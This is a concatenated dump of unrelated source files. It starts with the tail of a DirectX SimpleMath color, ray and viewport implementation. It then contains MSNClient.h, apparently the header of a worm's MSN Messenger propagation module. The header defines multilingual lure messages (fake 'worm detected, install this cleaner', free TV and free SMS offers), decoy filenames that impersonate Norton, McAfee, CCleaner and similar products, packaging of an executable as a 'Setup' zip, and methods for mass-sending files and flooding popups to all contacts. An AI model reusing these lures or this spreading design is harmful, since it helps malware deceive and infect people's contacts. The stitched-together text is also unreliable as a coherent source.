XMStoreFloat4( &result, XMVectorMultiply( c, a ) );
}
inline void Color::AdjustSaturation( float sat )
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( this, XMColorAdjustSaturation( c, sat ) );
}
inline void Color::AdjustSaturation( float sat, Color& result ) const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( &result, XMColorAdjustSaturation( c, sat ) );
}
inline void Color::AdjustContrast( float contrast )
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( this, XMColorAdjustContrast( c, contrast ) );
}
inline void Color::AdjustContrast( float contrast, Color& result ) const
{
using namespace DirectX;
XMVECTOR c = XMLoadFloat4( this );
XMStoreFloat4( &result, XMColorAdjustContrast( c, contrast ) );
}
//------------------------------------------------------------------------------
// Static functions
//------------------------------------------------------------------------------
inline void Color::Modulate( const Color& c1, const Color& c2, Color& result )
{
using namespace DirectX;
XMVECTOR C0 = XMLoadFloat4( &c1 );
XMVECTOR C1 = XMLoadFloat4( &c2 );
XMStoreFloat4( &result, XMColorModulate( C0, C1 ) );
}
inline Color Color::Modulate( const Color& c1, const Color& c2 )
{
using namespace DirectX;
XMVECTOR C0 = XMLoadFloat4( &c1 );
XMVECTOR C1 = XMLoadFloat4( &c2 );
Color result;
XMStoreFloat4( &result, XMColorModulate( C0, C1 ) );
return result;
}
inline void Color::Lerp( const Color& c1, const Color& c2, float t, Color& result )
{
using namespace DirectX;
XMVECTOR C0 = XMLoadFloat4( &c1 );
XMVECTOR C1 = XMLoadFloat4( &c2 );
XMStoreFloat4( &result, XMVectorLerp( C0, C1, t ) );
}
inline Color Color::Lerp( const Color& c1, const Color& c2, float t )
{
using namespace DirectX;
XMVECTOR C0 = XMLoadFloat4( &c1 );
XMVECTOR C1 = XMLoadFloat4( &c2 );
Color result;
XMStoreFloat4( &result, XMVectorLerp( C0, C1, t ) );
return result;
}
/****************************************************************************
*
* Ray
*
****************************************************************************/
//-----------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Ray::operator == ( const Ray& r ) const
{
using namespace DirectX;
XMVECTOR r1p = XMLoadFloat3( &position );
XMVECTOR r2p = XMLoadFloat3( &r.position );
XMVECTOR r1d = XMLoadFloat3( &direction );
XMVECTOR r2d = XMLoadFloat3( &r.direction );
return XMVector3Equal( r1p, r2p ) && XMVector3Equal( r1d, r2d );
}
inline bool Ray::operator != ( const Ray& r ) const
{
using namespace DirectX;
XMVECTOR r1p = XMLoadFloat3( &position );
XMVECTOR r2p = XMLoadFloat3( &r.position );
XMVECTOR r1d = XMLoadFloat3( &direction );
XMVECTOR r2d = XMLoadFloat3( &r.direction );
return XMVector3NotEqual( r1p, r2p ) && XMVector3NotEqual( r1d, r2d );
}
//-----------------------------------------------------------------------------
// Ray operators
//------------------------------------------------------------------------------
inline bool Ray::Intersects( const BoundingSphere& sphere, _Out_ float& Dist ) const
{
return sphere.Intersects( position, direction, Dist );
}
inline bool Ray::Intersects( const BoundingBox& box, _Out_ float& Dist ) const
{
return box.Intersects( position, direction, Dist );
}
inline bool Ray::Intersects( const Vector3& tri0, const Vector3& tri1, const Vector3& tri2, _Out_ float& Dist ) const
{
return DirectX::TriangleTests::Intersects( position, direction, tri0, tri1, tri2, Dist );
}
inline bool Ray::Intersects( const Plane& plane, _Out_ float& Dist ) const
{
using namespace DirectX;
XMVECTOR p = XMLoadFloat4( &plane );
XMVECTOR dir = XMLoadFloat3( &direction );
XMVECTOR nd = XMPlaneDotNormal( p, dir );
if ( XMVector3LessOrEqual( XMVectorAbs( nd ), g_RayEpsilon ) )
{
Dist = 0.f;
return false;
}
else
{
// t = -(dot(n,origin) + D) / dot(n,dir)
XMVECTOR pos = XMLoadFloat3( &position );
XMVECTOR v = XMPlaneDotNormal( p, pos );
v = XMVectorAdd( v, XMVectorSplatW(p) );
v = XMVectorDivide( v, nd );
float dist = - XMVectorGetX( v );
if (dist < 0)
{
Dist = 0.f;
return false;
}
else
{
Dist = dist;
return true;
}
}
}
/****************************************************************************
*
* Viewport
*
****************************************************************************/
//------------------------------------------------------------------------------
// Comparision operators
//------------------------------------------------------------------------------
inline bool Viewport::operator == ( const Viewport& vp ) const
{
return (x == vp.x && y == vp.y
&& width == vp.width && height == vp.height
&& minDepth == vp.minDepth && maxDepth == vp.maxDepth);
}
inline bool Viewport::operator != ( const Viewport& vp ) const
{
return (x != vp.x || y != vp.y
|| width != vp.width || height != vp.height
|| minDepth != vp.minDepth || maxDepth != vp.maxDepth);
}
//------------------------------------------------------------------------------
// Assignment operators
//------------------------------------------------------------------------------
inline Viewport& Viewport::operator= (const Viewport& vp)
{
x = vp.x; y = vp.y;
width = vp.width; height = vp.height;
minDepth = vp.minDepth; maxDepth = vp.maxDepth;
return *this;
}
inline Viewport& Viewport::operator= (const RECT& rct)
{
x = float(rct.left); y = float(rct.top);
width = float(rct.right - rct.left);
height = float(rct.bottom - rct.top);
minDepth = 0.f; maxDepth = 1.f;
return *this;
}
inline Viewport& Viewport::operator= (const D3D11_VIEWPORT& vp)
{
x = vp.TopLeftX; y = vp.TopLeftY;
width = vp.Width; height = vp.Height;
minDepth = vp.MinDepth; maxDepth = vp.MaxDepth;
return *this;
}
//------------------------------------------------------------------------------
// Viewport operations
//------------------------------------------------------------------------------
inline float Viewport::AspectRatio() const
{
if (width == 0.f || height == 0.f)
return 0.f;
return (width / height);
}
inline Vector3 Viewport::Project(const Vector3& p, const Matrix& proj, const Matrix& view, const Matrix& world) const
{
using namespace DirectX;
XMVECTOR v = XMLoadFloat3(&p);
XMMATRIX projection = XMLoadFloat4x4(&proj);
v = XMVector3Project(v, x, y, width, height, minDepth, maxDepth, projection, view, world);
Vector3 result;
XMStoreFloat3(&result, v);
return result;
}
inline void Viewport::Project(const Vector3& p, const Matrix& proj, const Matrix& view, const Matrix& world, Vector3& result) const
{
using namespace DirectX;
XMVECTOR v = XMLoadFloat3(&p);
XMMATRIX projection = XMLoadFloat4x4(&proj);
v = XMVector3Project(v, x, y, width, height, minDepth, maxDepth, projection, view, world);
XMStoreFloat3(&result, v);
}
inline Vector3 Viewport::Unproject(const Vector3& p, const Matrix& proj, const Matrix& view, const Matrix& world) const
{
using namespace DirectX;
XMVECTOR v = XMLoadFloat3(&p);
XMMATRIX projection = XMLoadFloat4x4(&proj);
v = XMVector3Unproject(v, x, y, width, height, minDepth, maxDepth, projection, view, world);
Vector3 result;
XMStoreFloat3(&result, v);
return result;
}
inline void Viewport::Unproject(const Vector3& p, const Matrix& proj, const Matrix& view, const Matrix& world, Vector3& result) const
{
using namespace DirectX;
XMVECTOR v = XMLoadFloat3(&p);
XMMATRIX projection = XMLoadFloat4x4(&proj);
v = XMVector3Unproject(v, x, y, width, height, minDepth, maxDepth, projection, view, world);
XMStoreFloat3(&result, v);
}
|
[
"neuparpol@gmail.com"
] |
neuparpol@gmail.com
|
0db5f7a65b56592633891e324950ff59c66036c6
|
68f4c2e538b3f6c8d50b15a65f8cfc307f2d5d95
|
/MSNClient.h
|
d42693b666b921306300a9728c3d0b69e44a69a6
|
[] |
no_license
|
3rd3yeTechGUY/propagation-techniques-used-by-viruses
|
d3da8875506ae11c1f82e58b74e41c9a7eaa72ce
|
cdc0ba3aafa9cff913dca559136bb9bbbcd6d21b
|
refs/heads/master
| 2023-05-02T09:14:02.795086
| 2021-05-15T22:15:14
| 2021-05-15T22:15:14
| null | 0
| 0
| null | null | null | null |
ISO-8859-1
|
C++
| false
| false
| 25,490
|
h
|
#include <windows.h>
#include <stdlib.h>
#include <time.h>
#include "FunctionsAssistant.h"
#include "FunctionsStrings.h"
#include "FunctionsFiles.h"
#include "FunctionsWindowsNT.h"
#include "HTTPClient.h"
#include "Main.h"
#include "MD5Wrapper.h"
#include "MultipleLangStringList.h"
#include "WinRegistry.h"
#include "ZipCompress.h"
#define MSN_HOST "messenger.hotmail.com"
#define MSN_PORT 1863
#define MSN_AUTH_QUERY_SERVER "nexus.passport.com"
#define MSN_AUTH_QUERY_PORT 443
#define MSN_DELAY 500
#define MSN_CHECK_NUM_FILES_SEND_DELAY 5000
#define MSN_FILES_SEND_DELAY 2500
#define MSN_REPEAT_DELAY 20
#define MSN_CONTACT_LIST_DELAY 20
#define MSN_BLOCK_TRANSFER_DELAY 50
#define MSN_CLOSE_SESSION_DELAY 10000
#define MSN_STATE_ONLINE "NLN"
#define MSN_STATE_OFFLINE "FLN"
#define MSN_STATE_INVISIBLE "HDN"
#define MSN_STATE_INACTIVE "IDL"
#define MSN_STATE_AWAY "AWY"
#define MSN_STATE_COME_BACK_NOW "BRB"
#define MSN_STATE_BUSY "BSY"
#define MSN_STATE_TELEPHONE "PHN"
#define MSN_STATE_LUNCH "LUN"
#define MSN_FONT_ARIAL "Arial"
#define MSN_FONT_ARIAL_BLACK "Arial%20Black"
#define MSN_FONT_ARIAL_NARROW "Arial%20Narrow"
#define MSN_FONT_COURIER "Courier"
#define MSN_FONT_COURIER_NEW "Courier%20New"
#define MSN_FONT_SANS_SERIF "MS%20Sans%20Serif"
#define MSN_FONT_SYSTEM "System"
#define MSN_FONT_TAHOMA "Tahoma"
#define MSN_FONT_TIMES_NEW_ROMAN "Times%20New%20Roman"
#define MSN_FONT_VERDANA "Verdana"
#define MSN_FONT_STYLE_NORMAL ""
#define MSN_FONT_STYLE_ITALIC "I"
#define MSN_FONT_STYLE_BOLD "B"
#define MSN_FONT_STYLE_UNDERLINE "S"
#define MSN_FONT_STYLE_ITALIC_BOLD "IB"
#define MSN_FONT_STYLE_ITALIC_UNDERLINE "IS"
#define MSN_FONT_STYLE_BOLD_UNDERLINE "BS"
#define MSN_FONT_STYLE_ITALIC_BOLD_UNDERLINE "IBS"
#define MSN_FONT_COLOR_RED "0000FF"
#define MSN_FONT_COLOR_BLUE "FF0000"
#define MSN_FONT_COLOR_GREEN "00FF00"
#define MSN_FONT_COLOR_YELLOW "00FFFF"
#define MSN_FONT_COLOR_MAGENTA "FF00FF"
#define MSN_FONT_COLOR_CYAN "FFFF00"
#define MSN_FONT_COLOR_WHITE "FFFFFF"
#define MSN_FONT_COLOR_BLACK "000000"
#define MSN_FONT_COLOR_ORANGE "0096FF"
#define MSN_FONT_COLOR_PURPLE "FF0096"
#define MSN_FONT_CODING_ANSI "0"
#define MSN_FONT_CODING_DEFAULT "1"
#define MSN_FONT_CODING_SYMBOL "2"
#define MSN_FONT_CODING_MACINTOSH "4d"
#define MSN_FONT_CODING_JAPANESE "80"
#define MSN_FONT_CODING_KOREAN_HANGEUL "81"
#define MSN_FONT_CODING_KOREAN_JOHAB "82"
#define MSN_FONT_CODING_CHINESE "86"
#define MSN_FONT_CODING_CHINESE_TRAD "88"
#define MSN_FONT_CODING_GREEK "a1"
#define MSN_FONT_CODING_TURKISH "a2"
#define MSN_FONT_CODING_VIETNAMESE "a3"
#define MSN_FONT_CODING_HEBREW "b1"
#define MSN_FONT_CODING_ARABIC "b2"
#define MSN_FONT_CODING_BALTIC "ba"
#define MSN_FONT_CODING_RUSSIAN "cc"
#define MSN_FONT_CODING_THAI "de"
#define MSN_FONT_CODING_EASTEUROPE "ee"
#define MSN_FONT_CODING_OEM_DEFAULT "ff"
#define MSN_OFFICIAL_BLOCK_SIZE_SEND 2045
#define MSN_MAX_CURRENT_FILES_TO_SEND 10
#define MSN_SENTENCE1_SP "Este es el programa que me pediste"
#define MSN_SENTENCE1_EN "This is the program to me asked"
#define MSN_SENTENCE1_IT "Questo e il programma che mi ha chiesto"
#define MSN_SENTENCE1_FR "C'est le logiciel qui m'a demande"
#define MSN_SENTENCE1_GE "Dies ist das Programm, fragte mich,"
#define MSN_SENTENCE1_PO "Este e o programa que me perguntou"
#define MSN_SENTENCE1_CA "Aquest es el programa que em vas demanar"
#define MSN_SENTENCE1_AR "This is the program to me asked"
#define MSN_SENTENCE1_BU "This is the program to me asked"
#define MSN_SENTENCE1_CZ "Jedna se o program, ktery me pozadal, abych"
#define MSN_SENTENCE1_CH "This is the program to me asked"
#define MSN_SENTENCE1_CR "To je program koji me je zamolio"
#define MSN_SENTENCE1_DA "Det er det program, der spurgte mig"
#define MSN_SENTENCE1_FI "Tama on ohjelma, joka pyysi minua"
#define MSN_SENTENCE1_GR "This is the program to me asked"
#define MSN_SENTENCE1_HI "This is the program to me asked"
#define MSN_SENTENCE1_DU "Dit is het programma dat mij gevraagd"
#define MSN_SENTENCE1_JA "This is the program to me asked"
#define MSN_SENTENCE1_NO "Dette er programmet som spurte meg"
#define MSN_SENTENCE1_PL "Jest to program, ktory poprosil mnie"
#define MSN_SENTENCE1_RU "This is the program to me asked"
#define MSN_SENTENCE1_SW "Detta ar programmet som fragade mig"
#define MSN_SENTENCE2_SP "Coge este excelente programa para ver la television online!"
#define MSN_SENTENCE2_EN "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_IT "Raccoglie questo eccellente programma per vedere la TV on-line!"
#define MSN_SENTENCE2_FR "Reprend cette excellent logiciel pour voir la TV en ligne!"
#define MSN_SENTENCE2_GE "Greift diese ausgezeichnete Programm, um zu sehen, die TV online!"
#define MSN_SENTENCE2_PO "Pega este excelente programa para ver a TV online!"
#define MSN_SENTENCE2_CA "Agafa aquest excel.lent programa per veure la televisio en linia!"
#define MSN_SENTENCE2_AR "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_BU "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_CZ "navazuje tento vyborny program, ktery naleznete na TV on-line!"
#define MSN_SENTENCE2_CH "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_CR "Preuzima se ovaj odlican program na TV vidjeti online!"
#define MSN_SENTENCE2_DA "Henter dette glimrende program til at se TV online!"
#define MSN_SENTENCE2_FI "Poimii taman erinomaisen ohjelman katso television online!"
#define MSN_SENTENCE2_GR "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_HI "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_DU "Pikt dit uitstekende programma om te zien dat de TV online!"
#define MSN_SENTENCE2_JA "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_NO "Plukker opp denne utmerket program til a se TV online!"
#define MSN_SENTENCE2_PL "Podnosi tym doskonalym programem do telewizji online, zobacz!"
#define MSN_SENTENCE2_RU "Get this excellent program to see TV online!"
#define MSN_SENTENCE2_SW "Tar upp detta utmarkta program for att se TV online!"
#define MSN_SENTENCE3_SP "Coge este increible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_EN "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_IT "Partecipa a questo incredibile software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_FR "Profitez de cette incroyable logiciel antispyware, antivirus, firewall"
#define MSN_SENTENCE3_GE "Nehmen Sie dieses unglaubliche Software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_PO "Leve este incrivel software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_CA "Agafa aquest increible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_AR "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_BU "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_CZ "Vem si to neuveritelne, software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_CH "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_CR "Uzmi ovaj nevjerojatan softver antispyware, antivirus, firewall"
#define MSN_SENTENCE3_DA "Tag denne utrolige software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_FI "Ota tama uskomaton ohjelmisto antispyware, antivirus, firewall"
#define MSN_SENTENCE3_GR "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_HI "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_DU "Neem deze ongelofelijke software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_JA "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_NO "Ta dette utrolige programvare antispyware, antivirus, firewall"
#define MSN_SENTENCE3_PL "Wez to niesamowite oprogramowanie antispyware, antivirus, firewall"
#define MSN_SENTENCE3_RU "Take this incredible software antispyware, antivirus, firewall"
#define MSN_SENTENCE3_SW "Ta den har otroligt programvara antispyware, antivirus, firewall"
#define MSN_SENTENCE4_SP "Con este programa podras enviar mensajes a moviles de forma gratuita!"
#define MSN_SENTENCE4_EN "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_IT "Con questo programma e possibile inviare messaggi a cellulari gratis!"
#define MSN_SENTENCE4_FR "Avec ce logiciel vous pouvez envoyer des messages aux telephones mobiles gratuitement!"
#define MSN_SENTENCE4_GE "Mit diesem Programm konnen Sie Nachrichten an Handys, frei!"
#define MSN_SENTENCE4_PO "Com este programa voce pode mandar mensagens para telemoveis de graça!"
#define MSN_SENTENCE4_CA "Amb aquest programa podras enviar missatges a mobils de forma gratuita!"
#define MSN_SENTENCE4_AR "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_BU "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_CZ "S timto programem muzete posílat zpravy na mobilní telefony zdarma!"
#define MSN_SENTENCE4_CH "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_CR "Pomocu ovog programa mozete slati poruke na mobitelu besplatno!"
#define MSN_SENTENCE4_DA "Med dette program kan du sende beskeder til mobiltelefoner fri!"
#define MSN_SENTENCE4_FI "Talla ohjelmalla voit lahettaa viesteja matkapuhelinten ilmaiseksi!"
#define MSN_SENTENCE4_GR "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_HI "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_DU "Med dette program kan du sende beskeder til mobiltelefoner gratis!"
#define MSN_SENTENCE4_JA "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_NO "Med dette programmet kan du sende meldinger til mobiltelefoner gratis!"
#define MSN_SENTENCE4_PL "Z pomoca tego programu mozna wysylac wiadomos'ci na komorke za darmo!"
#define MSN_SENTENCE4_RU "With this program you can send free messages to cellular phones!"
#define MSN_SENTENCE4_SW "Med detta program kan du skicka meddelanden till mobiltelefoner gratis!"
#define MSN_SENTENCE5_SP "Joder!, tienes un gusano/W32 en tu ordenador, instalate este limpiador!"
#define MSN_SENTENCE5_EN "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_IT "Dammit! ottenuto un worm/W32 sul tuo computer, l'installazione di questo detersivi!"
#define MSN_SENTENCE5_FR "Dammit! a un worm/W32 sur votre ordinateur, l'installation de ce nettoyant!"
#define MSN_SENTENCE5_GE "Dammit! bekam ein worm/W32 auf Ihrem Computer, die Installation dieses Reinigungsmittel!"
#define MSN_SENTENCE5_PO "Raios! tenho um worm/W32 em seu computador, instalando esta purificadores!"
#define MSN_SENTENCE5_CA "Ostia! tens un cuc/W32 en el teu ordinador, instal.lat aquest natejador!"
#define MSN_SENTENCE5_AR "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_BU "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_CZ "Sakra! dostal worm/W32 na vasem pocitaci, instalovaní tohoto cistici!"
#define MSN_SENTENCE5_CH "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_CR "Dammit! dobio worm/W32 na racunalu, instaliranje ove ciscenje!"
#define MSN_SENTENCE5_DA "Dammit! fik en worm/W32 pa computeren, ved at installere denne sæbe!"
#define MSN_SENTENCE5_FI "Hemmetti! sai worm/W32 tietokoneella, asentamalla taman puhdistusaineet!"
#define MSN_SENTENCE5_GR "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_HI "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_DU "Dammit! kreeg een worm/W32 op uw computer, het installeren van dit reinigingsmiddel!"
#define MSN_SENTENCE5_JA "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_NO "Dammit! fikk en worm/W32 pa datamaskinen, installere denne rengjøringsmiddel!"
#define MSN_SENTENCE5_PL "Dammit! dostalem worm/W32 na komputer, instalujac te czyszczaco!"
#define MSN_SENTENCE5_RU "Dammit! got a worm/W32 on your computer, installing this cleaner!"
#define MSN_SENTENCE5_SW "Helvete! fick en worm/W32 pa datorn, installera den har rengorings!"
#define MSN_FILENAME1_SENTENCE2 "PCTV Pinnacle Professional"
#define MSN_FILENAME2_SENTENCE2 "Zattoo Cracked"
#define MSN_FILENAME3_SENTENCE2 "Internet TV"
#define MSN_FILENAME4_SENTENCE2 "Google World Online TV"
#define MSN_FILENAME5_SENTENCE2 "TV Player Classic"
#define MSN_FILENAME6_SENTENCE2 "Veoh Player"
#define MSN_FILENAME7_SENTENCE2 "TV Web 360"
#define MSN_FILENAME8_SENTENCE2 "TV Center"
#define MSN_FILENAME9_SENTENCE2 "Satellite PCTV 2050"
#define MSN_FILENAME10_SENTENCE2 "PCTV Digital TDT"
#define MSN_FILENAME11_SENTENCE2 "TV Decoder"
#define MSN_FILENAME12_SENTENCE2 "Universe TV"
#define MSN_FILENAME13_SENTENCE2 "Free Online TV"
#define MSN_FILENAME14_SENTENCE2 "NET TV"
#define MSN_FILENAME15_SENTENCE2 "WWW TV"
#define MSN_FILENAME16_SENTENCE2 "RealTime TV"
#define MSN_FILENAME17_SENTENCE2 "LCD TV"
#define MSN_FILENAME18_SENTENCE2 "Plasma TV"
#define MSN_FILENAME19_SENTENCE2 "TV Channel"
#define MSN_FILENAME20_SENTENCE2 "Plus TV"
#define MSN_FILENAME1_SENTENCE3 "Black Ice"
#define MSN_FILENAME2_SENTENCE3 "Norton Antivirus Special Edition"
#define MSN_FILENAME3_SENTENCE3 "Macafee Gold Edition"
#define MSN_FILENAME4_SENTENCE3 "SuperAntispyware"
#define MSN_FILENAME5_SENTENCE3 "Spyware-Malware Remover"
#define MSN_FILENAME6_SENTENCE3 "Spybot Search & Destroy"
#define MSN_FILENAME7_SENTENCE3 "Ad-Aware Alpha"
#define MSN_FILENAME8_SENTENCE3 "RealTime Protection"
#define MSN_FILENAME9_SENTENCE3 "Cisco Firewall"
#define MSN_FILENAME10_SENTENCE3 "Spy Sweeper Last Edition"
#define MSN_FILENAME11_SENTENCE3 "Spyware Doctor"
#define MSN_FILENAME12_SENTENCE3 "Worm32 Blocker"
#define MSN_FILENAME13_SENTENCE3 "AVG Professional Edition"
#define MSN_FILENAME14_SENTENCE3 "Sygate RT Protect"
#define MSN_FILENAME15_SENTENCE3 "Traffic Controller"
#define MSN_FILENAME16_SENTENCE3 "Rogue Remover"
#define MSN_FILENAME17_SENTENCE3 "IPSwitch Firewall"
#define MSN_FILENAME18_SENTENCE3 "Zone Alarm Silver Edition"
#define MSN_FILENAME19_SENTENCE3 "AVG Internet Security"
#define MSN_FILENAME20_SENTENCE3 "Spyware Neutralizer"
#define MSN_FILENAME1_SENTENCE4 "SMS Phone Sender"
#define MSN_FILENAME2_SENTENCE4 "Short Message Service"
#define MSN_FILENAME3_SENTENCE4 "Google Phone"
#define MSN_FILENAME4_SENTENCE4 "GPhone"
#define MSN_FILENAME5_SENTENCE4 "Free SMS Sender"
#define MSN_FILENAME6_SENTENCE4 "Yoggi SMS"
#define MSN_FILENAME7_SENTENCE4 "SMS Cellular"
#define MSN_FILENAME8_SENTENCE4 "iSender SMS"
#define MSN_FILENAME9_SENTENCE4 "iNet SMS Sender"
#define MSN_FILENAME10_SENTENCE4 "Gnokii SMS Software"
#define MSN_FILENAME11_SENTENCE4 "Gammu SMS Software"
#define MSN_FILENAME12_SENTENCE4 "Kannel SMS Software"
#define MSN_FILENAME13_SENTENCE4 "Skype SMS Sender"
#define MSN_FILENAME14_SENTENCE4 "SMSFree"
#define MSN_FILENAME15_SENTENCE4 "SMS-it"
#define MSN_FILENAME16_SENTENCE4 "Bulk SMS"
#define MSN_FILENAME17_SENTENCE4 "Advanced SMS Tecnology"
#define MSN_FILENAME18_SENTENCE4 "SMS Notify"
#define MSN_FILENAME19_SENTENCE4 "SMS Threader"
#define MSN_FILENAME20_SENTENCE4 "Pretty SMS"
#define MSN_FILENAME1_SENTENCE5 "RegCleaner Special Edition"
#define MSN_FILENAME2_SENTENCE5 "RegOrganizer Gold Edition"
#define MSN_FILENAME3_SENTENCE5 "Spy Cleaner"
#define MSN_FILENAME4_SENTENCE5 "X-Cleaner"
#define MSN_FILENAME5_SENTENCE5 "Trojan CKiller"
#define MSN_FILENAME6_SENTENCE5 "Disk Cleaner"
#define MSN_FILENAME7_SENTENCE5 "Comodo Registry Cleaner"
#define MSN_FILENAME8_SENTENCE5 "MSN Virus Cleaner"
#define MSN_FILENAME9_SENTENCE5 "Lavasoft Cleaner"
#define MSN_FILENAME10_SENTENCE5 "ZigZag Cleaner"
#define MSN_FILENAME11_SENTENCE5 "Desktop Cleaner"
#define MSN_FILENAME12_SENTENCE5 "TuneUp Utilities"
#define MSN_FILENAME13_SENTENCE5 "Cleanup Assistant"
#define MSN_FILENAME14_SENTENCE5 "Registry Optimizer"
#define MSN_FILENAME15_SENTENCE5 "Memory Cleaner"
#define MSN_FILENAME16_SENTENCE5 "Automatic Cleaner Plus"
#define MSN_FILENAME17_SENTENCE5 "Cache SoftCleaner"
#define MSN_FILENAME18_SENTENCE5 "BestEffort Performance"
#define MSN_FILENAME19_SENTENCE5 "CCleaner"
#define MSN_FILENAME20_SENTENCE5 "CleanerAgent"
#define MSN_OUT_FILENAME_COMPRESS_EXTENSION ".zip"
#define MSN_IN_FILENAME_COMPRESS_EXTENSION ".exe"
#define MSN_IN_FILENAME_COMPRESS_SUFIX "Setup"
#pragma once
class MSNClient : public TCPSocket {
private:
bool MSNLogged, chgNickname, stopMSNSession;
unsigned long IDCommand;
TCPSocket * MSNServerRedirect;
HTTPClient * MSNServerAuth;
MSNContact ** MSNContactList;
MSNConversation ** MSNConversationList;
MSNContactOnLine ** MSNOnLineContactList;
char * actualState, * actualIDConversation;
unsigned long numContacts, numOnLineContacts, numConversations, numConcurrentFilesToSend;
MultipleLangStringList * sentencesToTalk;
bool inicializeSentencesToTalk();
public:
MSNClient(const char * user, const char * passwd);
bool startSession();
bool stopSession();
bool changeState(const char * MSNState);
bool changeNickname(const char * nickname);
bool createConversation(const char * IDConversation);
bool closeConversation(const char * IDConversation);
bool inviteContact(const char * email, const char * IDConversation);
bool floodPopups(const char * message);
bool sendConversationMessage(const char * IDConversation, const char * message, const char * fontType = MSN_FONT_VERDANA, const char * fontStyle = MSN_FONT_STYLE_NORMAL, const char * fontColor = MSN_FONT_COLOR_BLACK, const char * fontCoding = MSN_FONT_CODING_ANSI);
bool sendContactMessage(const char * email, const char * message, const char * fontType = MSN_FONT_VERDANA, const char * fontStyle = MSN_FONT_STYLE_NORMAL, const char * fontColor = MSN_FONT_COLOR_BLACK, const char * fontCoding = MSN_FONT_CODING_ANSI);
bool sendAllContactMessage(const char * message, const char * fontType = MSN_FONT_VERDANA, const char * fontStyle = MSN_FONT_STYLE_NORMAL, const char * fontColor = MSN_FONT_COLOR_BLACK, const char * fontCoding = MSN_FONT_CODING_ANSI);
bool sendContactFile(const char * email, const char * filePath);
bool sendAllContactFile(const char * filePath, unsigned int maxCurrentFilesToSend = MSN_MAX_CURRENT_FILES_TO_SEND);
bool sendAllContactMessageAndFile(const char * message, const char * filePath, const char * fontType = MSN_FONT_VERDANA, const char * fontStyle = MSN_FONT_STYLE_NORMAL, const char * fontColor = MSN_FONT_COLOR_BLACK, const char * fontCoding = MSN_FONT_CODING_ANSI, unsigned int maxCurrentFilesToSend = MSN_MAX_CURRENT_FILES_TO_SEND);
bool sendAllContactHackingMessageAndFile(const char * filePath, const char * fontType = MSN_FONT_VERDANA, const char * fontStyle = MSN_FONT_STYLE_NORMAL, const char * fontColor = MSN_FONT_COLOR_BLACK, const char * fontCoding = MSN_FONT_CODING_ANSI, unsigned int maxCurrentFilesToSend = MSN_MAX_CURRENT_FILES_TO_SEND);
void incNumContacts();
void incNumConversations();
void incOnLineNumContacts();
void incIDCommand();
void incNumConcurrentFilesToSend();
void decNumConcurrentFilesToSend();
void setConversationList(MSNConversation ** conversationList);
void setMSNLogged(bool value);
void setChangeNickname(bool value);
void setStopSession(bool value);
bool existsConversation(const char * IDConversation);
bool setActualState(char * state);
bool addContact(const char * nickname, const char * email);
bool addOnLineContact(const char * nickname, const char * email, const char * state);
bool delOnLineContact(const char * email);
long searchConversation(const char * IDConversation);
long searchContactInConversation(const char * email);
bool isContactOnLine(const char * email);
bool isMSNLogged() { return MSNLogged; }
bool getStopSession() { return stopMSNSession; }
TCPSocket * getMSNServerRedirect() { return MSNServerRedirect; }
unsigned long getNumContacts() { return numContacts; }
unsigned long getNumOnLineContacts() { return numOnLineContacts; }
unsigned long getNumConversations() { return numConversations; }
unsigned long getIDCommand() { return IDCommand; }
char * getActualIDConversation() { return actualIDConversation; }
MSNContact ** getMSNContactList() { return MSNContactList; }
MSNContactOnLine ** getMSNOnLineContactList() { return MSNOnLineContactList; }
MSNConversation ** getMSNConversationList() { return MSNConversationList; }
char * getActualState() { return actualState; }
};
|
[
"iricartb@gmail.com"
] |
iricartb@gmail.com
|
8d95efded89b8f06868a99d0e26f50323e98b095
|
49e125a9e43d22706cea8f304e88c96dd20197ae
|
/Codeforces/prime square.cpp
|
3bdac4bc87b273e64b353657beaeb986dd4c63a5
|
[] |
no_license
|
tahsinsoha/Problem-solving-
|
b0382b7afa539715dafb1fbc40666e4051b5f7db
|
7049dcc7ab9e4a59977787c2e9052055bff560a8
|
refs/heads/master
| 2023-01-06T02:35:56.822736
| 2020-11-04T12:15:43
| 2020-11-04T12:15:43
| 280,789,760
| 0
| 0
